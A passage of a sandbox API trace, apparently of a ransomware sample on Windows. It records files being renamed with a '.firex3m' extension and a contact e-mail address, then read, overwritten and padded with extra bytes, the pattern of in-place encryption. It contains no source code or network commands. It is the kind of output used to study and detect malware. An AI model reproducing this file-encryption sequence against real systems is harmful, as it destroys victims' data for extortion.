lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0259.762] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ice\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ice\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0262.686] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0262.687] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x74006e, dwReserved1=0x630061, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4e00 [0262.687] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0262.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ice\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0262.687] GetProcessHeap () returned 0x630000 [0262.687] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa01) returned 0x7316400 [0262.687] GetProcessHeap () returned 0x630000 [0262.687] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa01) returned 0x746fcc0 [0262.687] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.687] ReadFile (in: hFile=0x3f8, lpBuffer=0x7316400, nNumberOfBytesToRead=0x9e0, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7316400*, lpNumberOfBytesRead=0x6d7ff0c*=0x9e0, lpOverlapped=0x0) returned 1 [0262.698] GetProcessHeap () returned 0x630000 [0262.698] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0262.698] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.698] WriteFile (in: hFile=0x3f8, lpBuffer=0x746fcc0*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x746fcc0*, lpNumberOfBytesWritten=0x6d7ff0c*=0x9e0, lpOverlapped=0x0) returned 1 [0262.698] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.699] WriteFile (in: hFile=0x3f8, lpBuffer=0x747069f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x747069f*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0262.699] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.699] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0262.699] CloseHandle (hObject=0x3f8) returned 1 [0262.699] GetProcessHeap () returned 0x630000 [0262.699] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x746fcc0 | out: hHeap=0x630000) returned 1 [0262.699] GetProcessHeap () returned 0x630000 [0262.699] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316400 | out: hHeap=0x630000) returned 1 [0262.699] GetProcessHeap () returned 0x630000 [0262.699] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0262.699] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0262.699] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6286469f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa1c, dwReserved0=0x9f87496, dwReserved1=0x73163f8, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d53c0 [0262.700] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0262.700] Sleep (dwMilliseconds=0x1) [0262.748] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\29.jpg", len=0x7c | out: pbstr=0x6d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\29.jpg") returned 1 [0262.748] GetProcessHeap () returned 0x630000 [0262.748] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4da4) returned 0x6fe3bb0 [0262.748] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\29.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\29.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.750] Sleep (dwMilliseconds=0x1) [0262.762] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\28.jpg", len=0x7c | out: pbstr=0x6d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\28.jpg") returned 1 [0262.762] GetProcessHeap () returned 0x630000 [0262.762] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4da0) returned 0x6fe3bb0 [0262.762] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\28.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\28.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.764] Sleep (dwMilliseconds=0x1) [0262.783] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\19.jpg", len=0x7c | out: pbstr=0x6d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\19.jpg") returned 1 [0262.783] GetProcessHeap () returned 0x630000 [0262.783] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d94) returned 0x6fe3bb0 [0262.783] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\19.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\19.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.785] Sleep (dwMilliseconds=0x1) [0263.790] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\181.png", len=0x7a | out: pbstr=0x6d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\181.png") returned 1 [0263.790] GetProcessHeap () returned 0x630000 [0263.790] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cd0) returned 0x6fe3bb0 [0263.790] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\181.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\181.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.792] Sleep (dwMilliseconds=0x1) [0264.645] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\SmallLogo.targetsize-24.png", len=0x79 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\SmallLogo.targetsize-24.png") returned 1 [0264.645] GetProcessHeap () returned 0x630000 [0264.645] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d44) returned 0x6fe3bb0 [0264.645] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\SmallLogo.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\assets\\smalllogo.targetsize-24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.648] Sleep (dwMilliseconds=0x1) [0264.656] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Package.StoreAssociation.xml", len=0x73 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Package.StoreAssociation.xml") returned 1 [0264.656] GetProcessHeap () returned 0x630000 [0264.656] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d40) returned 0x6fe3bb0 [0264.656] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Package.StoreAssociation.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\package.storeassociation.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.665] Sleep (dwMilliseconds=0x1) [0264.677] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail2.targetsize-16.png", len=0x75 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail2.targetsize-16.png") returned 1 [0264.677] GetProcessHeap () returned 0x630000 [0264.677] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ce8) returned 0x6fe3bb0 [0264.677] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail2.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\voicemail2.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.686] Sleep (dwMilliseconds=0x1) [0264.742] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall2.targetsize-24.png", len=0x76 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall2.targetsize-24.png") returned 1 [0264.742] GetProcessHeap () returned 0x630000 [0264.742] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ca4) returned 0x6fe3bb0 [0264.742] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall2.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\missedcall2.targetsize-24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.745] Sleep (dwMilliseconds=0x1) [0264.751] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall1.targetsize-36.png", len=0x76 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall1.targetsize-36.png") returned 1 [0264.751] GetProcessHeap () returned 0x630000 [0264.751] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c90) returned 0x6fe3bb0 [0264.751] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall1.targetsize-36.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\missedcall1.targetsize-36.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.757] Sleep (dwMilliseconds=0x1) [0264.775] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseMedTile.scale-200.png", len=0x72 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseMedTile.scale-200.png") returned 1 [0264.775] GetProcessHeap () returned 0x630000 [0264.775] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c54) returned 0x6fe3bb0 [0264.775] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseMedTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basemedtile.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.777] Sleep (dwMilliseconds=0x1) [0264.788] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-24.png", len=0x74 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-24.png") returned 1 [0264.788] GetProcessHeap () returned 0x630000 [0264.788] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c40) returned 0x6fe3bb0 [0264.789] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basebadge.targetsize-24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.794] Sleep (dwMilliseconds=0x1) [0266.645] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", len=0x66 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 1 [0266.645] GetProcessHeap () returned 0x630000 [0266.645] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b84) returned 0x6fe3bb0 [0266.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0266.687] CloseHandle (hObject=0x66c) returned 1 [0266.687] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0266.687] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\epsimp32.flt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\epsimp32.flt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0266.689] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0266.689] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xef9622ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef9622ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb950d65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xabc70, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="EPSIMP32.FLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EPSIMP~1.FIR")) returned 0x6d5200 [0266.689] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0266.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\epsimp32.flt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0266.689] GetProcessHeap () returned 0x630000 [0266.689] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7582628 [0266.690] GetProcessHeap () returned 0x630000 [0266.690] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x758da58 [0266.691] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.691] ReadFile (in: hFile=0x66c, lpBuffer=0x7582628, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7582628*, lpNumberOfBytesRead=0x6d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0274.837] GetProcessHeap () returned 0x630000 [0274.837] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0274.837] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.837] WriteFile (in: hFile=0x66c, lpBuffer=0x758da58*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x758da58*, lpNumberOfBytesWritten=0x6d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0274.838] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.838] WriteFile (in: hFile=0x66c, lpBuffer=0x7598e57*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7598e57*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0274.850] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.851] WriteFile (in: hFile=0x66c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0274.851] CloseHandle (hObject=0x66c) returned 1 [0274.851] GetProcessHeap () returned 0x630000 [0274.851] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x758da58 | out: hHeap=0x630000) returned 1 [0274.854] GetProcessHeap () returned 0x630000 [0274.854] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7582628 | out: hHeap=0x630000) returned 1 [0274.855] GetProcessHeap () returned 0x630000 [0274.855] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0274.855] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0274.855] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xef9622ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef9622ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69c4f386, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xabc94, dwReserved0=0x9f87496, dwReserved1=0x7582620, cFileName="EPSIMP32.FLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EPSIMP~1.FIR")) returned 0x6d4e40 [0274.855] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0274.855] Sleep (dwMilliseconds=0x1) [0274.880] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-32_altform-unplated_contrast-black.png", len=0xb3 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-32_altform-unplated_contrast-black.png") returned 1 [0274.880] GetProcessHeap () returned 0x630000 [0274.880] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b58) returned 0x6fe3bb0 [0274.880] CreateFileW (lpFileName="C:\\Program 